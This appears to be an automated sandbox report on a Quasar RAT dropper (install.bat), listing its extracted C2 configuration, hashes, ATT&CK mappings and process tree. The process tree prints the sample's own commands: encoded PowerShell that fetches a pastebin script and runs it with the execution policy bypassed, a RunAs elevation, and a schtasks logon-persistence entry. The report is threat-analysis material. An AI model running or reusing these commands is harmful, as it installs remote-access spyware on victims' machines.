quasar | c8cebb25512027ad70b61a647887fa4013489d2dc4294fce853b8363410c423d

General

Target

install.bat
Size

595B
MD5

369f9a8a381c74880783423b98ed52c9
SHA1

3bd04c343b1c361d4e9383010cb0be2380c3dbdb
SHA256

c8cebb25512027ad70b61a647887fa4013489d2dc4294fce853b8363410c423d
SHA512

a139d4d0a7d3f0f6a28690df219cb14adf6a4f0a7ff365bb1e8142ddf8be136ea919e44e4f3108d8fcf344031bff127c701d91b2949501e83d26fdbd6b746c7b

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

Dystopian-62863.portmap.host:62863

Mutex

e1de8f9b-5a7a-4798-a6fb-c03591ef3442

Attributes

encryption_key
8C1BB32BFD240218BA0CB04D65341FB1FDE1E001
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
SubStart
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023cb4-60.dat	family_quasar
behavioral2/memory/4336-68-0x0000000000C20000-0x0000000000F44000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	3872	powershell.exe
15	2336	powershell.exe
19	2336	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
1152	powershell.exe
1848	powershell.exe
3872	powershell.exe
2336	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
4336	RuntimeBroker.exe
2280	Client.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
6	pastebin.com
7	pastebin.com
18	raw.githubusercontent.com
19	raw.githubusercontent.com

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3672	schtasks.exe
2424	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1152	powershell.exe
1152	powershell.exe
3872	powershell.exe
3872	powershell.exe
1848	powershell.exe
1848	powershell.exe
2336	powershell.exe
2336	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeDebugPrivilege	4336	RuntimeBroker.exe
Token: SeDebugPrivilege	2280	Client.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2280	Client.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 1152	1616	cmd.exe	84
PID 1616 wrote to memory of 1152	1616	cmd.exe	84
PID 1152 wrote to memory of 2576	1152	powershell.exe	85
PID 1152 wrote to memory of 2576	1152	powershell.exe	85
PID 2576 wrote to memory of 3872	2576	cmd.exe	87
PID 2576 wrote to memory of 3872	2576	cmd.exe	87
PID 2576 wrote to memory of 1848	2576	cmd.exe	88
PID 2576 wrote to memory of 1848	2576	cmd.exe	88
PID 1848 wrote to memory of 2336	1848	powershell.exe	89
PID 1848 wrote to memory of 2336	1848	powershell.exe	89
PID 2336 wrote to memory of 4336	2336	powershell.exe	92
PID 2336 wrote to memory of 4336	2336	powershell.exe	92
PID 4336 wrote to memory of 3672	4336	RuntimeBroker.exe	96
PID 4336 wrote to memory of 3672	4336	RuntimeBroker.exe	96
PID 4336 wrote to memory of 2280	4336	RuntimeBroker.exe	98
PID 4336 wrote to memory of 2280	4336	RuntimeBroker.exe	98
PID 2280 wrote to memory of 2424	2280	Client.exe	99
PID 2280 wrote to memory of 2424	2280	Client.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\install.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\install.bat' -ArgumentList 'am_admin'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\install.bat" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8ASwBZAGQAUgByAFQAUwB4ACkALgBjAG8AbgB0AGUAbgB0ACAAPgAgACQAZQBuAHYAOgB0AGUAbQBwAFwAQQBtAC4AcABzADEA
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAGUAeABpAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAEYAaQBsAGUAIAAkAGUAbgB2ADoAdABlAG0AcABcAEEAbQAuAHAAcwAxAA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1848
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\Am.ps1
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2336
      - C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4336
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "SubStart" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3672
        
        C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2280
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "SubStart" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2cd928baba5af07197e8ab4c3309ff7c

SHA1
f282ff7f9323a5f5eab5479fd7c7e25776deac75

SHA256
52638798f1f802fe7015092932c729461f2ba72fa3c906b443f7cedcc99f88c5

SHA512
bea23897dd1f0a5aeb44f1197128e87bf1da2e5dad2d281425ed9b6bee0dd5e3b1898fe2e4eef659ed5a6bb13014ed57d3fd914e5b1247247d7fe2684fca69ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\Am.ps1

Filesize
474B

MD5
26f3ed9427f9a33e13388303c4179845

SHA1
3cb3e6201b751e6aa020e90d816f10cb1e475969

SHA256
3a8da751f93c7ac6d49ba42a8b2562ac1a444f5ec7e6c08248a8072bc84f29ee

SHA512
336f23222b131f781111b0c5b2ee7d920932895e9ee4e8f50ce61ca0757fef3559a7ec408e80fe380e7354e8f3e87e0efa4afb25486a38febff607269df95f53

Download Submit
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe

Filesize
3.1MB

MD5
e9a138d8c5ab2cccc8bf9976f66d30c8

SHA1
e996894168f0d4e852162d1290250dfa986310f8

SHA256
e63b41bfdd3a89b6ebcfc05db158fdc399dbc081e49b01498831a62df34defc3

SHA512
5982fc759c8b1121ab5befaac53e1521931f06d276140195fa1fcbcd1069f546253e366ef4cc37245b3bc2ed60c4b8d0583f133a1264efd77938adf456a08ccc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b0l3dohn.lyw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1152-15-0x00007FFE30A10000-0x00007FFE314D1000-memory.dmp

Filesize
10.8MB

Download
memory/1152-12-0x00007FFE30A10000-0x00007FFE314D1000-memory.dmp

Filesize
10.8MB

Download
memory/1152-10-0x0000022D7DB20000-0x0000022D7DB42000-memory.dmp

Filesize
136KB

Download
memory/1152-0-0x00007FFE30A13000-0x00007FFE30A15000-memory.dmp

Filesize
8KB

Download
memory/1152-11-0x00007FFE30A10000-0x00007FFE314D1000-memory.dmp

Filesize
10.8MB

Download
memory/2280-75-0x000000001B8B0000-0x000000001B900000-memory.dmp

Filesize
320KB

Download
memory/2280-76-0x000000001B9C0000-0x000000001BA72000-memory.dmp

Filesize
712KB

Download
memory/2280-79-0x000000001B960000-0x000000001B972000-memory.dmp

Filesize
72KB

Download
memory/2280-80-0x000000001C0C0000-0x000000001C0FC000-memory.dmp

Filesize
240KB

Download
memory/2336-54-0x000002D323950000-0x000002D323994000-memory.dmp

Filesize
272KB

Download
memory/2336-67-0x000002D323B90000-0x000002D323C06000-memory.dmp

Filesize
472KB

Download
memory/3872-34-0x00007FFE30A10000-0x00007FFE314D1000-memory.dmp

Filesize
10.8MB

Download
memory/3872-30-0x0000017750410000-0x0000017750BB6000-memory.dmp

Filesize
7.6MB

Download
memory/3872-29-0x00007FFE30A10000-0x00007FFE314D1000-memory.dmp

Filesize
10.8MB

Download
memory/3872-27-0x00007FFE30A10000-0x00007FFE314D1000-memory.dmp

Filesize
10.8MB

Download
memory/3872-26-0x00007FFE30A10000-0x00007FFE314D1000-memory.dmp

Filesize
10.8MB

Download
memory/4336-68-0x0000000000C20000-0x0000000000F44000-memory.dmp

Filesize
3.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads